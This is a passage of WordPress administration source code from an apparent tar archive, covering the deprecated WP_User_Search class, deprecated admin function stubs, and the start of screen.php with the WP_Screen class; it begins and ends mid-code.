$last_user; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var string */ var $query_limit; /** * {@internal Missing Description}} * * @since 3.0.0 * @access private * @var string */ var $query_orderby; /** * {@internal Missing Description}} * * @since 3.0.0 * @access private * @var string */ var $query_from; /** * {@internal Missing Description}} * * @since 3.0.0 * @access private * @var string */ var $query_where; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var int */ var $total_users_for_query = 0; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var bool */ var $too_many_total_users = false; /** * {@internal Missing Description}} * * @since 2.1.0 * @access private * @var unknown_type */ var $search_errors; /** * {@internal Missing Description}} * * @since 2.7.0 * @access private * @var unknown_type */ var $paging_text; /** * PHP4 Constructor - Sets up the object properties. * * @since 2.1.0 * * @param string $search_term Search terms string. * @param int $page Optional. Page ID. * @param string $role Role name. * @return WP_User_Search */ function WP_User_Search ($search_term = '', $page = '', $role = '') { _deprecated_function( __FUNCTION__, '3.1', 'WP_User_Query' ); $this->search_term = wp_unslash( $search_term ); $this->raw_page = ( '' == $page ) ? false : (int) $page; $this->page = (int) ( '' == $page ) ? 1 : $page; $this->role = $role; $this->prepare_query(); $this->query(); $this->do_paging(); } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * @access public */ function prepare_query() { global $wpdb; $this->first_user = ($this->page - 1) * $this->users_per_page; $this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page); $this->query_orderby = ' ORDER BY user_login'; $search_sql = ''; if ( $this->search_term ) { $searches = array(); $search_sql = 'AND ('; foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col ) $searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' ); $search_sql .= implode(' OR ', $searches); $search_sql .= ')'; } $this->query_from = " FROM $wpdb->users"; $this->query_where = " WHERE 1=1 $search_sql"; if ( $this->role ) { $this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id"; $this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%'); } elseif ( is_multisite() ) { $level_key = $wpdb->prefix . 'capabilities'; // wpmu site admins don't have user_levels $this->query_from .= ", $wpdb->usermeta"; $this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'"; } do_action_ref_array( 'pre_user_search', array( &$this ) ); } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * @access public */ function query() { global $wpdb; $this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit); if ( $this->results ) $this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // no limit else $this->search_errors = new WP_Error('no_matching_users_found', __('No matching users were found!')); } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * @access public */ function prepare_vars_for_template_usage() {} /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * @access public */ function do_paging() { if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results $args = array(); if( ! empty($this->search_term) ) $args['usersearch'] = urlencode($this->search_term); if( ! empty($this->role) ) $args['role'] = urlencode($this->role); $this->paging_text = paginate_links( array( 'total' => ceil($this->total_users_for_query / $this->users_per_page), 'current' => $this->page, 'base' => 'users.php?%_%', 'format' => 'userspage=%#%', 'add_args' => $args ) ); if ( $this->paging_text ) { $this->paging_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s–%s of %s' ) . '</span>%s', number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ), number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ), number_format_i18n( $this->total_users_for_query ), $this->paging_text ); } } } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * @access public * * @return unknown */ function get_results() { return (array) $this->results; } /** * Displaying paging text. * * @see do_paging() Builds paging text. * * @since 2.1.0 * @access public */ function page_links() { echo $this->paging_text; } /** * Whether paging is enabled. * * @see do_paging() Builds paging text. * * @since 2.1.0 * @access public * * @return bool */ function results_are_paged() { if ( $this->paging_text ) return true; return false; } /** * Whether there are search terms. * * @since 2.1.0 * @access public * * @return bool */ function is_search() { if ( $this->search_term ) return true; return false; } } endif; /** * Retrieve editable posts from other users. * * @deprecated 3.1.0 * * @param int $user_id User ID to not retrieve posts from. * @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'. * @return array List of posts from others. */ function get_others_unpublished_posts($user_id, $type='any') { _deprecated_function( __FUNCTION__, '3.1' ); global $wpdb; $editable = get_editable_user_ids( $user_id ); if ( in_array($type, array('draft', 'pending')) ) $type_sql = " post_status = '$type' "; else $type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) "; $dir = ( 'pending' == $type ) ? 'ASC' : 'DESC'; if ( !$editable ) { $other_unpubs = ''; } else { $editable = join(',', $editable); $other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) ); } return apply_filters('get_others_drafts', $other_unpubs); } /** * Retrieve drafts from other users. * * @deprecated 3.1.0 * * @param int $user_id User ID. * @return array List of drafts from other users. */ function get_others_drafts($user_id) { _deprecated_function( __FUNCTION__, '3.1' ); return get_others_unpublished_posts($user_id, 'draft'); } /** * Retrieve pending review posts from other users. * * @deprecated 3.1.0 * * @param int $user_id User ID. * @return array List of posts with pending review post type from other users. */ function get_others_pending($user_id) { _deprecated_function( __FUNCTION__, '3.1' ); return get_others_unpublished_posts($user_id, 'pending'); } /** * Output the QuickPress dashboard widget. * * @since 3.0.0 * @deprecated 3.2.0 * @deprecated Use wp_dashboard_quick_press() * @see wp_dashboard_quick_press() */ function wp_dashboard_quick_press_output() { _deprecated_function( __FUNCTION__, '3.2', 'wp_dashboard_quick_press()' ); wp_dashboard_quick_press(); } /** * @since 2.7.0 * @deprecated 3.3.0 * @deprecated Use wp_editor() * @see wp_editor() */ function wp_tiny_mce( $teeny = false, $settings = false ) { _deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' ); static $num = 1; if ( ! class_exists('_WP_Editors' ) ) require_once( ABSPATH . WPINC . '/class-wp-editor.php' ); $editor_id = 'content' . $num++; $set = array( 'teeny' => $teeny, 'tinymce' => $settings ? $settings : true, 'quicktags' => false ); $set = _WP_Editors::parse_settings($editor_id, $set); _WP_Editors::editor_settings($editor_id, $set); } /** * @deprecated 3.3.0 * @deprecated Use wp_editor() * @see wp_editor() */ function wp_preload_dialogs() { _deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' ); } /** * @deprecated 3.3.0 * @deprecated Use wp_editor() * @see wp_editor() */ function wp_print_editor_js() { _deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' ); } /** * @deprecated 3.3.0 * @deprecated Use wp_editor() * @see wp_editor() */ function wp_quicktags() { _deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' ); } /** * Returns the screen layout options. * * @since 2.8.0 * @deprecated 3.3.0 * @deprecated Use $current_screen->render_screen_layout() * @see WP_Screen::render_screen_layout() */ function screen_layout( $screen ) { _deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_screen_layout()' ); $current_screen = get_current_screen(); if ( ! $current_screen ) return ''; ob_start(); $current_screen->render_screen_layout(); return ob_get_clean(); } /** * Returns the screen's per-page options. * * @since 2.8.0 * @deprecated 3.3.0 * @deprecated Use $current_screen->render_per_page_options() * @see WP_Screen::render_per_page_options() */ function screen_options( $screen ) { _deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_per_page_options()' ); $current_screen = get_current_screen(); if ( ! $current_screen ) return ''; ob_start(); $current_screen->render_per_page_options(); return ob_get_clean(); } /** * Renders the screen's help. * * @since 2.7.0 * @deprecated 3.3.0 * @deprecated Use $current_screen->render_screen_meta() * @see WP_Screen::render_screen_meta() */ function screen_meta( $screen ) { $current_screen = get_current_screen(); $current_screen->render_screen_meta(); } /** * Favorite actions were deprecated in version 3.2. Use the admin bar instead. * * @since 2.7.0 * @deprecated 3.2.0 */ function favorite_actions() { _deprecated_function( __FUNCTION__, '3.2', 'WP_Admin_Bar' ); } function media_upload_image() { __deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' ); return wp_media_upload_handler(); } function media_upload_audio() { __deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' ); return wp_media_upload_handler(); } function media_upload_video() { __deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' ); return wp_media_upload_handler(); } function media_upload_file() { __deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' ); return wp_media_upload_handler(); } function type_url_form_image() { __deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('image')" ); return wp_media_insert_url_form( 'image' ); } function type_url_form_audio() { __deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('audio')" ); return wp_media_insert_url_form( 'audio' ); } function type_url_form_video() { __deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('video')" ); return wp_media_insert_url_form( 'video' ); } function type_url_form_file() { __deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('file')" ); return wp_media_insert_url_form( 'file' ); } /** * Add contextual help text for a page. * * Creates an 'Overview' help tab. * * @since 2.7.0 * @deprecated 3.3.0 * @deprecated Use get_current_screen()->add_help_tab() * @see WP_Screen * * @param string $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions. * @param string $help The content of an 'Overview' help tab. */ function add_contextual_help( $screen, $help ) { _deprecated_function( __FUNCTION__, '3.3', 'get_current_screen()->add_help_tab()' ); if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); WP_Screen::add_old_compat_help( $screen, $help ); } /** * Get the allowed themes for the current blog. * * @since 3.0.0 * @deprecated 3.4.0 * @deprecated Use wp_get_themes() * @see wp_get_themes() * * @return array $themes Array of allowed themes. */ function get_allowed_themes() { _deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'allowed' => true ) )" ); $themes = wp_get_themes( array( 'allowed' => true ) ); $wp_themes = array(); foreach ( $themes as $theme ) { $wp_themes[ $theme->get('Name') ] = $theme; } return $wp_themes; } /** * {@internal Missing Short Description}} * * @since 1.5.0 * @deprecated 3.4.0 * * @return unknown */ function get_broken_themes() { _deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'errors' => true )" ); $themes = wp_get_themes( array( 'errors' => true ) ); $broken = array(); foreach ( $themes as $theme ) { $name = $theme->get('Name'); $broken[ $name ] = array( 'Name' => $name, 'Title' => $name, 'Description' => $theme->errors()->get_error_message(), ); } return $broken; } /** * {@internal Missing Short Description}} * * @since 2.0.0 * @deprecated 3.4.0 * * @return unknown */ function current_theme_info() { _deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme()' ); return wp_get_theme(); } /** * This was once used to display an 'Insert into Post' button. Now it is deprecated and stubbed. * * @deprecated 3.5.0 */ function _insert_into_post_button( $type ) { _deprecated_function( __FUNCTION__, '3.5' ); } /** * This was once used to display a media button. Now it is deprecated and stubbed. * * @deprecated 3.5.0 */ function _media_button($title, $icon, $type, $id) { _deprecated_function( __FUNCTION__, '3.5' ); } /** * Get an existing post and format it for editing. * * @since 2.0.0 * @deprecated 3.5.0 * * @param int $id * @return object */ function get_post_to_edit( $id ) { _deprecated_function( __FUNCTION__, '3.5', 'get_post()' ); return get_post( $id, OBJECT, 'edit' ); } /** * Get the default page information to use. * * @since 2.5.0 * @deprecated 3.5.0 * @deprecated Use get_default_post_to_edit() * * @return WP_Post Post object containing all the default post data as attributes */ function get_default_page_to_edit() { _deprecated_function( __FUNCTION__, '3.5', "get_default_post_to_edit( 'page' )" ); $page = get_default_post_to_edit(); $page->post_type = 'page'; return $page; } /** * This was once used to create a thumbnail from an Image given a maximum side size. * * @since 1.2.0 * @deprecated 3.5.0 * @deprecated Use image_resize() * @see image_resize() * * @param mixed $file Filename of the original image, Or attachment id. * @param int $max_side Maximum length of a single side for the thumbnail. * @param mixed $deprecated Never used. * @return string Thumbnail path on success, Error string on failure. */ function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) { _deprecated_function( __FUNCTION__, '3.5', 'image_resize()' ); return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) ); } /** * This was once used to display a metabox for the nav menu theme locations. * * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen. * * @since 3.0.0 * @deprecated 3.6.0 */ function wp_nav_menu_locations_meta_box() { _deprecated_function( __FUNCTION__, '3.6' ); } /** * This was once used to kick-off the Core Updater. * * Deprecated in favor of instantating a Core_Upgrader instance directly, * and calling the 'upgrade' method. * * @since 2.7.0 * @deprecated 3.7.0 * @see Core_Upgrader */ function wp_update_core($current, $feedback = '') { _deprecated_function( __FUNCTION__, '3.7', 'new Core_Upgrader();' ); if ( !empty($feedback) ) add_filter('update_feedback', $feedback); include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new Core_Upgrader(); return $upgrader->upgrade($current); } /** * This was once used to kick-off the Plugin Updater. * * Deprecated in favor of instantating a Plugin_Upgrader instance directly, * and calling the 'upgrade' method. * Unused since 2.8.0. * * @since 2.5.0 * @deprecated 3.7.0 * @see Plugin_Upgrader */ function wp_update_plugin($plugin, $feedback = '') { _deprecated_function( __FUNCTION__, '3.7', 'new Plugin_Upgrader();' ); if ( !empty($feedback) ) add_filter('update_feedback', $feedback); include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new Plugin_Upgrader(); return $upgrader->upgrade($plugin); } /** * This was once used to kick-off the Theme Updater. * * Deprecated in favor of instantating a Theme_Upgrader instance directly, * and calling the 'upgrade' method. * Unused since 2.8.0. * * @since 2.7.0 * @deprecated 3.7.0 * @see Theme_Upgrader */ function wp_update_theme($theme, $feedback = '') { _deprecated_function( __FUNCTION__, '3.7', 'new Theme_Upgrader();' ); if ( !empty($feedback) ) add_filter('update_feedback', $feedback); include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new Theme_Upgrader(); return $upgrader->upgrade($theme); } /** * This was once used to display attachment links. Now it is deprecated and stubbed. * * {@internal Missing Short Description}} * * @since 2.0.0 * @deprecated 3.7.0 * * @param unknown_type $id * @return unknown */ function the_attachment_links( $id = false ) { _deprecated_function( __FUNCTION__, '3.7' ); } /**#@+ * Displays a screen icon. * * @since 2.7.0 * @since 3.8.0 Screen icons are no longer used in WordPress. This function no longer produces output. * @deprecated 3.8.0 */ function screen_icon() { echo get_screen_icon(); } function get_screen_icon() { return '<!-- Screen icons are no longer used as of WordPress 3.8. -->'; } /**#@-*/ /**#@+ * Deprecated dashboard widget controls. * * @since 2.5.0 * @deprecated 3.8.0 */ function wp_dashboard_incoming_links_output() {} function wp_dashboard_secondary_output() {} /**#@-*/ /**#@+ * Deprecated dashboard widget controls. * * @since 2.7.0 * @deprecated 3.8.0 */ function wp_dashboard_incoming_links() {} function wp_dashboard_incoming_links_control() {} function wp_dashboard_plugins() {} function wp_dashboard_primary_control() {} function wp_dashboard_recent_comments_control() {} function wp_dashboard_secondary() {} function wp_dashboard_secondary_control() {} /**#@-*/ /** * This was once used to move child posts to a new parent. * * @since 2.3.0 * @deprecated 3.9.0 * @access private * * @param int $old_ID * @param int $new_ID */ function _relocate_children( $old_ID, $new_ID ) { _deprecated_function( __FUNCTION__, '3.9' ); } screen.php000077700000076660151514577750006603 0ustar00<?php /** * WordPress Administration Screen API. * * @package WordPress * @subpackage Administration */ /** * Get the column headers for a screen * * @since 2.7.0 * * @param string|WP_Screen $screen The screen you want the headers for * @return array Containing the headers in the format id => UI String */ function get_column_headers( $screen ) { if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); static $column_headers = array(); if ( ! isset( $column_headers[ $screen->id ] ) ) { /** * Filter the column headers for a list table on a specific screen. * * The dynamic portion of the hook name, $screen->id, refers to the * ID of a specific screen. For example, the screen ID for the Posts * list table is edit-post, so the filter for that screen would be * manage_edit-post_columns. * * @since 3.0.0 * * @param array $columns An array of column headers. Default empty. */ $column_headers[ $screen->id ] = apply_filters( 'manage_' . $screen->id . '_columns', array() ); } return $column_headers[ $screen->id ]; } /** * Get a list of hidden columns. * * @since 2.7.0 * * @param string|WP_Screen $screen The screen you want the hidden columns for * @return array */ function get_hidden_columns( $screen ) { if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); return (array) get_user_option( 'manage' . $screen->id . 'columnshidden' ); } /** * Prints the meta box preferences for screen meta. * * @since 2.7.0 * * @param string|WP_Screen $screen */ function meta_box_prefs( $screen ) { global $wp_meta_boxes; if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); if ( empty($wp_meta_boxes[$screen->id]) ) return; $hidden = get_hidden_meta_boxes($screen); foreach ( array_keys($wp_meta_boxes[$screen->id]) as $context ) { foreach ( array_keys($wp_meta_boxes[$screen->id][$context]) as $priority ) { foreach ( $wp_meta_boxes[$screen->id][$context][$priority] as $box ) { if ( false == $box || ! $box['title'] ) continue; // Submit box cannot be hidden if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] ) continue; $box_id = $box['id']; echo '<label for="' . $box_id . '-hide">'; echo '<input class="hide-postbox-tog" name="' . $box_id . '-hide" type="checkbox" id="' . $box_id . '-hide" value="' . $box_id . '"' . (! in_array($box_id, $hidden) ? ' checked="checked"' : '') . ' />'; echo "{$box['title']}</label>\n"; } } } } /** * Get Hidden Meta Boxes * * @since 2.7.0 * * @param string|WP_Screen $screen Screen identifier * @return array Hidden Meta Boxes */ function get_hidden_meta_boxes( $screen ) { if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $hidden = get_user_option( "metaboxhidden_{$screen->id}" ); $use_defaults = ! is_array( $hidden ); // Hide slug boxes by default if ( $use_defaults ) { $hidden = array(); if ( 'post' == $screen->base ) { if ( 'post' == $screen->post_type || 'page' == $screen->post_type || 'attachment' == $screen->post_type ) $hidden = array('slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv'); else $hidden = array( 'slugdiv' ); } /** * Filter the default list of hidden meta boxes. * * @since 3.1.0 * * @param array $hidden An array of meta boxes hidden by default. * @param WP_Screen $screen WP_Screen object of the current screen. */ $hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen ); } /** * Filter the list of hidden meta boxes. * * @since 3.3.0 * * @param array $hidden An array of hidden meta boxes. * @param WP_Screen $screen WP_Screen object of the current screen. * @param bool $use_defaults Whether to show the default meta boxes. * Default true. */ return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults ); } /** * Register and configure an admin screen option * * @since 3.1.0 * * @param string $option An option name. * @param mixed $args Option-dependent arguments. */ function add_screen_option( $option, $args = array() ) { $current_screen = get_current_screen(); if ( ! $current_screen ) return; $current_screen->add_option( $option, $args ); } /** * Get the current screen object * * @since 3.1.0 * * @return WP_Screen Current screen object */ function get_current_screen() { global $current_screen; if ( ! isset( $current_screen ) ) return null; return $current_screen; } /** * Set the current screen object * * @since 3.0.0 * @uses $current_screen * * @param mixed $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen, * or an existing screen object. */ function set_current_screen( $hook_name = '' ) { WP_Screen::get( $hook_name )->set_current_screen(); } /** * A class representing the admin screen. * * @since 3.3.0 * @access public */ final class WP_Screen { /** * Any action associated with the screen. 'add' for *-add.php and *-new.php screens. Empty otherwise. * * @since 3.3.0 * @var string * @access public */ public $action; /** * The base type of the screen. This is typically the same as $id but with any post types and taxonomies stripped. * For example, for an $id of 'edit-post' the base is 'edit'. * * @since 3.3.0 * @var string * @access public */ public $base; /** * The number of columns to display. Access with get_columns(). * * @since 3.4.0 * @var int * @access private */ private $columns = 0; /** * The unique ID of the screen. * * @since 3.3.0 * @var string * @access public */ public $id; /** * Which admin the screen is in. network | user | site | false * * @since 3.5.0 * @var string * @access protected */ protected $in_admin; /** * Whether the screen is in the network admin. * * Deprecated. Use in_admin() instead. * * @since 3.3.0 * @deprecated 3.5.0 * @var bool * @access public */ public $is_network; /** * Whether the screen is in the user admin. * * Deprecated. Use in_admin() instead. * * @since 3.3.0 * @deprecated 3.5.0 * @var bool * @access public */ public $is_user; /** * The base menu parent. * This is derived from $parent_file by removing the query string and any .php extension. * $parent_file values of 'edit.php?post_type=page' and 'edit.php?post_type=post' have a $parent_base of 'edit'. * * @since 3.3.0 * @var string * @access public */ public $parent_base; /** * The parent_file for the screen per the admin menu system. * Some $parent_file values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'. * * @since 3.3.0 * @var string * @access public */ public $parent_file; /** * The post type associated with the screen, if any. * The 'edit.php?post_type=page' screen has a post type of 'page'. * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'. * * @since 3.3.0 * @var string * @access public */ public $post_type; /** * The taxonomy associated with the screen, if any. * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'. * @since 3.3.0 * @var string * @access public */ public $taxonomy; /** * The help tab data associated with the screen, if any. * * @since 3.3.0 * @var array * @access private */ private $_help_tabs = array(); /** * The help sidebar data associated with screen, if any. * * @since 3.3.0 * @var string * @access private */ private $_help_sidebar = ''; /** * Stores old string-based help. */ private static $_old_compat_help = array(); /** * The screen options associated with screen, if any. * * @since 3.3.0 * @var array * @access private */ private $_options = array(); /** * The screen object registry. * * @since 3.3.0 * @var array * @access private */ private static $_registry = array(); /** * Stores the result of the public show_screen_options function. * * @since 3.3.0 * @var bool * @access private */ private $_show_screen_options; /** * Stores the 'screen_settings' section of screen options. * * @since 3.3.0 * @var string * @access private */ private $_screen_settings; /** * Fetches a screen object. * * @since 3.3.0 * @access public * * @param string $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen. * Defaults to the current $hook_suffix global. * @return WP_Screen Screen object. */ public static function get( $hook_name = '' ) { if ( is_a( $hook_name, 'WP_Screen' ) ) return $hook_name; $post_type = $taxonomy = null; $in_admin = false; $action = ''; if ( $hook_name ) $id = $hook_name; else $id = $GLOBALS['hook_suffix']; // For those pesky meta boxes. if ( $hook_name && post_type_exists( $hook_name ) ) { $post_type = $id; $id = 'post'; // changes later. ends up being $base. } else { if ( '.php' == substr( $id, -4 ) ) $id = substr( $id, 0, -4 ); if ( 'post-new' == $id || 'link-add' == $id || 'media-new' == $id || 'user-new' == $id ) { $id = substr( $id, 0, -4 ); $action = 'add'; } } if ( ! $post_type && $hook_name ) { if ( '-network' == substr( $id, -8 ) ) { $id = substr( $id, 0, -8 ); $in_admin = 'network'; } elseif ( '-user' == substr( $id, -5 ) ) { $id = substr( $id, 0, -5 ); $in_admin = 'user'; } $id = sanitize_key( $id ); if ( 'edit-comments' != $id && 'edit-tags' != $id && 'edit-' == substr( $id, 0, 5 ) ) { $maybe = substr( $id, 5 ); if ( taxonomy_exists( $maybe ) ) { $id = 'edit-tags'; $taxonomy = $maybe; } elseif ( post_type_exists( $maybe ) ) { $id = 'edit'; $post_type = $maybe; } } if ( ! $in_admin ) $in_admin = 'site'; } else { if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) $in_admin = 'network'; elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN ) $in_admin = 'user'; else $in_admin = 'site'; } if ( 'index' == $id ) $id = 'dashboard'; elseif ( 'front' == $id ) $in_admin = false; $base = $id; // If this is the current screen, see if we can be more accurate for post types and taxonomies. if ( ! $hook_name ) { if ( isset( $_REQUEST['post_type'] ) ) $post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false; if ( isset( $_REQUEST['taxonomy'] ) ) $taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false; switch ( $base ) { case 'post' : if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 ); elseif ( isset( $_GET['post'] ) ) $post_id = (int) $_GET['post']; elseif ( isset( $_POST['post_ID'] ) ) $post_id = (int) $_POST['post_ID']; else $post_id = 0; if ( $post_id ) { $post = get_post( $post_id ); if ( $post ) $post_type = $post->post_type; } break; case 'edit-tags' : if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) ) $post_type = 'post'; break; } } switch ( $base ) { case 'post' : if ( null === $post_type ) $post_type = 'post'; $id = $post_type; break; case 'edit' : if ( null === $post_type ) $post_type = 'post'; $id .= '-' . $post_type; break; case 'edit-tags' : if ( null === $taxonomy ) $taxonomy = 'post_tag'; // The edit-tags ID does not contain the post type. Look for it in the request. if ( null === $post_type ) { $post_type = 'post'; if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) $post_type = $_REQUEST['post_type']; } $id = 'edit-' . $taxonomy; break; } if ( 'network' == $in_admin ) { $id .= '-network'; $base .= '-network'; } elseif ( 'user' == $in_admin ) { $id .= '-user'; $base .= '-user'; } if ( isset( self::$_registry[ $id ] ) ) { $screen = self::$_registry[ $id ]; if ( $screen === get_current_screen() ) return $screen; } else { $screen = new WP_Screen(); $screen->id = $id; } $screen->base = $base; $screen->action = $action; $screen->post_type = (string) $post_type; $screen->taxonomy = (string) $taxonomy; $screen->is_user = ( 'user' == $in_admin ); $screen->is_network = ( 'network' == $in_admin ); $screen->in_admin = $in_admin; self::$_registry[ $id ] = $screen; return $screen; } /** * Makes the screen object the current screen. * * @see set_current_screen() * @since 3.3.0 */ function set_current_screen() { global $current_screen, $taxnow, $typenow; $current_screen = $this; $taxnow = $this->taxonomy; $typenow = $this->post_type; /** * Fires after the current screen has been set. * * @since 3.0.0 * * @param WP_Screen $current_screen Current WP_Screen object. */ do_action( 'current_screen', $current_screen ); } /** * Constructor * * @since 3.3.0 * @access private */ private function __construct() {} /** * Indicates whether the screen is in a particular admin * * @since 3.5.0 * * @param string $admin The admin to check against (network | user | site). * If empty any of the three admins will result in true. * @return boolean True if the screen is in the indicated admin, false otherwise. * */ public function in_admin( $admin = null ) { if ( empty( $admin ) ) return (bool) $this->in_admin; return ( $admin == $this->in_admin ); } /** * Sets the old string-based contextual help for the screen. * * For backwards compatibility. * * @since 3.3.0 * * @param WP_Screen $screen A screen object. * @param string $help Help text. */ static function add_old_compat_help( $screen, $help ) { self::$_old_compat_help[ $screen->id ] = $help; } /** * Set the parent information for the screen. * This is called in admin-header.php after the menu parent for the screen has been determined. * * @since 3.3.0 * * @param string $parent_file The parent file of the screen. Typically the $parent_file global. */ function set_parentage( $parent_file ) { $this->parent_file = $parent_file; list( $this->parent_base ) = explode( '?', $parent_file ); $this->parent_base = str_replace( '.php', '', $this->parent_base ); } /** * Adds an option for the screen. * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add screen options. * * @since 3.3.0 * * @param string $option Option ID * @param mixed $args Option-dependent arguments. */ public function add_option( $option, $args = array() ) { $this->_options[ $option ] = $args; } /** * Remove an option from the screen. * * @since 3.8.0 * * @param string $option Option ID. */ public function remove_option( $option ) { unset( $this->_options[ $option ] ); } /** * Remove all options from the screen. * * @since 3.8.0 */ public function remove_options() { $this->_options = array(); } /** * Get the options registered for the screen. * * @since 3.8.0 * * @return array Options with arguments. */ public function get_options() { return $this->_options; } /** * Gets the arguments for an option for the screen. * * @since 3.3.0 * * @param string $option Option ID. * @param mixed $key Optional. Specific array key for when the option is an array. */ public function get_option( $option, $key = false ) { if ( ! isset( $this->_options[ $option ] ) ) return null; if ( $key ) { if ( isset( $this->_options[ $option ][ $key ] ) ) return $this->_options[ $option ][ $key ]; return null; } return $this->_options[ $option ]; } /** * Gets the help tabs registered for the screen. * * @since 3.4.0 * * @return array Help tabs with arguments. */ public function get_help_tabs() { return $this->_help_tabs; } /** * Gets the arguments for a help tab. * * @since 3.4.0 * * @param string $id Help Tab ID. * @return array Help tab arguments. */ public function get_help_tab( $id ) { if ( ! isset( $this->_help_tabs[ $id ] ) ) return null; return $this->_help_tabs[ $id ]; } /** * Add a help tab to the contextual help for the screen. * Call this on the load-$pagenow hook for the relevant screen. * * @since 3.3.0 * * @param array $args * - string - title - Title for the tab. * - string - id - Tab ID. Must be HTML-safe. * - string - content - Help tab content in plain text or HTML. Optional. * - callback - callback - A callback to generate the tab content. Optional. * */ public function add_help_tab( $args ) { $defaults = array( 'title' => false, 'id' => false, 'content' => '', 'callback' => false, ); $args = wp_parse_args( $args, $defaults ); $args['id'] = sanitize_html_class( $args['id'] ); // Ensure we have an ID and title. if ( ! $args['id'] || ! $args['title'] ) return; // Allows for overriding an existing tab with that ID. $this->_help_tabs[ $args['id'] ] = $args; } /** * Removes a help tab from the contextual help for the screen. * * @since 3.3.0 * * @param string $id The help tab ID. */ public function remove_help_tab( $id ) { unset( $this->_help_tabs[ $id ] ); } /** * Removes all help tabs from the contextual help for the screen. * * @since 3.3.0 */ public function remove_help_tabs() { $this->_help_tabs = array(); } /** * Gets the content from a contextual help sidebar. * * @since 3.4.0 * * @return string Contents of the help sidebar. */ public function get_help_sidebar() { return $this->_help_sidebar; } /** * Add a sidebar to the contextual help for the screen. * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add a sidebar to the contextual help. * * @since 3.3.0 * * @param string $content Sidebar content in plain text or HTML. */ public function 